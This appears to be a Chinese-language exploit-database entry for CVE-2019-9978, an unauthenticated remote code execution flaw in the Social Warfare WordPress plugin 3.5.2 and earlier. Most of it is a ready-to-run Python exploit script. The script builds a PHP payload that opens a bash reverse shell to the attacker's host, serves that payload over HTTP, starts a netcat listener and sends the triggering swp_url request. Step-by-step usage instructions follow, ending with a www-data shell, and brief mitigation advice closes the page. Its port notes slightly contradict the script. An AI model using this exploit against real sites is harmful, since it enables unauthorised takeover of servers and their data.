Social Warfare WordPress插件3.5.2远程代码执行漏洞
日期:2025.07.01
贡献者:Huseyin Mardini
风险等级:高
本地利用:否
远程利用:是
CVE编号:CVE-2019-9978
CWE编号:CWE-79
漏洞概况
Social Warfare是WordPress平台上一个流行的社交分享插件。在3.5.2及更早版本中,存在一个远程代码执行漏洞,攻击者无需认证即可利用此漏洞在目标系统上执行任意代码。
技术细节
CVSS评分
- 基础评分:4.3/10
- 影响子评分:2.9/10
- 可利用性子评分:8.6/10
攻击特征
- 攻击范围:远程
- 攻击复杂度:中等
- 认证要求:无需认证
- 机密性影响:无
- 完整性影响:部分
- 可用性影响:无
漏洞利用脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
|
#!/usr/bin/env python3
# 漏洞标题:Social Warfare WordPress插件3.5.2 - 远程代码执行
# 日期:25-06-2025
# 漏洞利用作者:Huseyin Mardini (@housma)
# 原始研究员:Luka Sikic
# 原始漏洞利用作者:hash3liZer
# 厂商主页:https://wordpress.org/plugins/social-warfare/
# 软件链接:https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
# 受影响版本:<= 3.5.2
# CVE编号:CVE-2019-9978
# 测试环境:WordPress 5.1.1 + Social Warfare 3.5.2 (Ubuntu 20.04)
# Python版本:Python 3.x
# 参考:https://www.exploit-db.com/exploits/46794
# GitHub原始PoC:https://github.com/hash3liZer/CVE-2019-9978
# 注意:目前列出的CVE-2019-9978漏洞利用(Exploit ID 46794)在许多现代环境中已无法按预期工作
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- 配置 ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "xxx.xxx.xx.xx" # 更改为攻击者IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""使用有效的PHP语法编写精确的反向Shell负载"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] 负载已写入 {PAYLOAD_FILE}")
def start_http_server():
"""通过HTTP提供负载"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP服务器运行在端口 {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""启动Netcat监听器"""
print(f"[+] 在端口 {LISTEN_PORT} 监听反向Shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""通过易受攻击的参数触发漏洞"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] 发送漏洞利用请求:{exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# 后台启动Web服务器
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # 给服务器启动时间
# 后台启动监听器
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# 发送恶意请求
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] 用户中断。")
|
使用方法
- 编辑配置部分,将
ATTACKER_IP替换为您机器的IP地址
- 运行脚本:
python3 exploit.py
- 脚本将执行以下操作:
- 创建PHP负载并保存为
payload.txt
- 在
HTTP_PORT端口启动HTTP服务器来托管负载
- 在
LISTEN_PORT端口启动Netcat监听器
- 通过易受攻击的
swp_debug参数触发漏洞
- 成功后,您将获得
www-data用户的反向Shell
注意事项
PAYLOAD_FILE仅定义要创建和提供服务的文件名
- 确保8001和4444端口开放且未被使用
- 该漏洞利用针对的是
swp_debug参数中的swp_url参数,允许远程文件包含
缓解措施
- 立即将Social Warfare插件更新到最新版本
- 如果无法更新,考虑停用或卸载该插件
- 实施Web应用防火墙规则,阻止对
admin-post.php的异常访问
- 定期进行安全审计和漏洞扫描
技术原理
该漏洞源于插件对swp_url参数输入验证不足,攻击者可通过构造特殊的URL参数,使插件加载并执行远程恶意PHP代码,从而实现远程代码执行。漏洞利用的核心是通过system()函数执行反向Shell命令,建立与攻击者的远程连接。